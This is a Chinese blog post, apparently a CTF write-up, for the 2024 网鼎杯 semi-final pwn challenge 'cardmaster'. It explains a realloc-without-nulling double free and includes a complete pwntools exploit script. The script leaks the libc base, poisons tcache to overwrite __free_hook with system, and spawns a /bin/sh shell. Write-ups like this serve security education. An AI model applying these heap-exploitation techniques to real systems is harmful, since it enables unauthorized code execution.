2024 网鼎杯半决赛 pwn 题 cardmaster

2024 网鼎杯半决赛 pwn 题 cardmaster。

结构体可以恢复成这个样子:

00000000 struct card_set // sizeof=0x28
00000000 {
00000000     __int32 count;
00000004     __int32 digit_range;
00000008     __int64 random_level;
00000010     char *chara_set;
00000018     __int64 func;
00000020     cards *addr;
00000028 };

00000000 struct cards // sizeof=0x20
00000000 {
00000000     bucket *a[4];
00000020 };

00000000 struct bucket // sizeof=0xC0
00000000 {                                       // XREF: cards/r
00000000     card bucket[12];
000000C0 };

00000000 struct card // sizeof=0x10
00000000 {                                       // XREF: bucket/r
00000000     __int64 color;
00000008     __int64 number;
00000010 };

漏洞点在 new_set 的时候 realloc 之后没有清空指针...,所以可以 double free:

 if ( (int *)a1->chara_set == &::chara )       // check chara changed
    chara = (char *)malloc(4 * a1->count);
  else
    chara = (char *)realloc(a1->chara_set, 4 * a1->count);

show 功能中还有一个不太能打的栈溢出,index 溢出但是没有什么用。

  while ( v7_idx < card_set->count )
  {
    v6 = 0;
    for ( i = 0x80; ((unsigned __int8)i & card_set->chara_set[chara_idx]) != 0; i /= 2 )
      ++v6;                                     // 0x80 -> 1
                                                // 0x40 -> 2
                                                // 0x20 -> 3
                                                // 0x10 -> 4
    if ( v6 > 4 )
    {
      puts("invalid suit table!");
      exit(0);
    }
    v7[v7_idx] = chara_idx;                     // overflow here
    v7[v7_idx + 52] = v6;
    chara_idx += v6;
    v7_idx += v6 != 0;
  }

而且 realloc 如果 size 是 0 的话,行为类似于 free。每次取出之间用 init 功能来避免每次都 realloc 同样的堆块。(走第一个 malloc 分支。)

from pwn import *
import sys

elf_path = "./cardmaster"
libc_path = "./libc.so.6"
ip = ""
port = ""

context(os='linux',arch='amd64',log_level='debug')

if len(sys.argv) > 1 and sys.argv[1] == "d":
    os.system('tmux set mouse on')
    context.terminal = ['tmux','splitw','-h']
    p = gdb.debug(elf_path)
elif len(sys.argv) > 1 and sys.argv[1] == "r":
    p = remote(ip, port)
else:
    p = process(elf_path)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

# ----------------------------------------------------------

def init():
    sla(b">> ", b"1")

def set_info(suit_count: int, range :int, level:int, set: bytes):
    sla(b">> ", b"2")
    sla(b"suit count:", str(suit_count).encode())
    sla(b"1 - ?", str(range).encode())
    sla(b"level:", str(level).encode())
    if suit_count != 0:
        sla(b"set:", set)

def show():
    sla(b">> ", b"5")

def show_info():
    sla(b">> ", b"3")

init()
set_info(0x430//4, 10, 1, b"1")
set_info(0, 10, 1, b"")
show_info() # leak heap address
ru(b"suit chara set:")
libc_base = u64(rx(6).ljust(8, b"\x00")) - 0x3ebca0
leak("libc_base", libc_base)

free_hook = 4118760
system = 324672

set_info(0x430//4, 10, 1, b"".ljust(4*8, b"\xf1"))
set_info(0x60//4, 10, 1, b"".ljust(4*8, b"\xf1"))
set_info(0, 10, 1, b"")
set_info(0, 10, 1, b"") # double free here, realloc return 0
set_info(0x60//4, 10, 1, p64(free_hook + libc_base - 0x8).ljust(4*8, b"\xf1"))
init() 
set_info(0x60//4, 10, 1, p64(libc_base + system).ljust(4*8, b"\xf1"))
init()
set_info(0x60//4, 10, 1, (b"/bin/sh\x00" + p64(libc_base + system)).ljust(4*8, b"\xf1"))
set_info(0, 10, 1, b"")

p.interactive()
posted @ 2024-11-27 19:58  giacomo捏  阅读(62)  评论(0编辑  收藏  举报